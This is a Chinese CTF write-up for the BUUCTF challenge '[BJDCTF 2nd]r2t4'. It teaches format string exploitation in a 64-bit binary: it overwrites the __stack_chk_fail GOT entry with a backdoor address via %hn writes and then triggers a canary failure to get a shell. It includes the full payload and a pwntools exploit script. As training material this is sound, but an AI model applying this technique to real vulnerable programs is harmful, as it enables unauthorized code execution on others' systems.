• [BUUCTF]PWN——[BJDCTF 2nd]r2t4


    [BJDCTF 2nd]r2t4

    附件

    步骤

    1. 例行检查,64位,开启了canary和nx
      在这里插入图片描述
    2. 64位ida载入,检索字符串的时候发现了后面函数,shell_addr=0x400626
      在这里插入图片描述
    3. main函数
      在这里插入图片描述
      可以溢出0x8字节,但是开启了canary保护,没法利用,输出点存在格式化字符串漏洞,可以利用
      查看程序的汇编可以看到,如果程序检查canary不通过,就会去执行___stack_chk_fail,
      在这里插入图片描述
      由于我们已经获取了后门函数的地址,所以我们可以利用格式化字符串漏洞可读可写的特性,将___stack_chk_fail的地址覆写成后门函数地址,然后故意去溢出破坏canary的值,让其不通过检查,就能去调用后门函数获取shell了

    由于这是64位的格式化字符串漏洞利用,与32位的程序有些不一样,可以详看一下这篇文章,这个师傅总结的很到位

    
    要想利用格式化字符串漏洞,首先要了解格式化字符
    其中格式化字符有:
    
    %c:输出字符,配上%n可用于向指定地址写数据。
    
    %d:输出十进制整数,配上%n可用于向指定地址写数据。
    
    %x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
    
    %p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。
    
    %s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。
    
    %n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。
    

    我们先来找一下我们输入的参数在栈上的位置,也就是找偏移量,偏移量为6
    在这里插入图片描述
    我们需要将__stack_chk_fail的地址改写为后门函数地址,但是由于64位程序,printf在输出大量字符时有时会异常,就像前面一次性读入大量字符会异常一样,printf在一次性输出这么大量的字符时也会出现异常。所以解决办法便是一个一个字节来做出修改或者两个两个来,具体的修改方法我上面给的那个链接里也有说明

    上面找到的后门函数地址是shell_addr=0x400626,我们一次修改两字节,所以按照两个字节一拆分就是0x0040和0x0626

    payload = "%64c%9$hn%1510c%10$hnaaa" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)
    

    64(0x40):对应backdoor函数地址的高两字节0x0040

    9:由于格式化字符串%64c%9$hn%1510c%10$hnaaa占用了24个字节,根据64位程序,24/8=3,所以偏移是6+3=9,配合上$hn使用构成%9$hn,将64(0x40)写入偏移为9的位置,对应的是__stack_chk_fail+2

    c:或许有人会这么构造payload = ‘a’ * backdoor_addr + %偏移$n + p64(__stack_chk_fail),但想想这里要读入多少个’a’啊!谁的程序中会一次读取那么多字符?所以要换为另一个格式字符,%c ,读入的字符屈指可数,但经过格式化漏洞转换后,那就是num个字符的输出同样可以达到相同的修改数据的效果

    1510:1510+64=1574=0x626,对应backdoor函数地址的低两字节0x0626

    10 :在偏移9的基础上加上p64(__stack_chk_fail+2)地址的一字节,即偏移为10

    aaa:填充作用,随便写,使之为8的倍数让栈对齐

    p64(__ stack_chk_fail+2) + p64(__stack_chk_fail) :将backdoor函数地址分为高两个字节和低两字节进行写入

    完整exp:

    from pwn import *
    
    r=remote('node3.buuoj.cn',29883)
    
    elf = ELF('./r2t4')
    __stack_chk_fail=elf.got['__stack_chk_fail']
    
    
    payload = "%64c%9$hn%1510c%10$hnaaa" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)
    
    r.sendline(payload)
    r.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    CSS3弹性盒布局方式
    Vue知识点(面试常见点)
    h5新增加的存储方法
    前端常用插件
    Git 及 GitHub 使用
    Express 框架
    angular.js 教程 -- 实例讲解
    Windows右键添加VSCode启动
    Windows平台SSH登录Linux并使用图形化界面
    10_Linux yum命令
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273686.html
Copyright © 2020-2023  润新知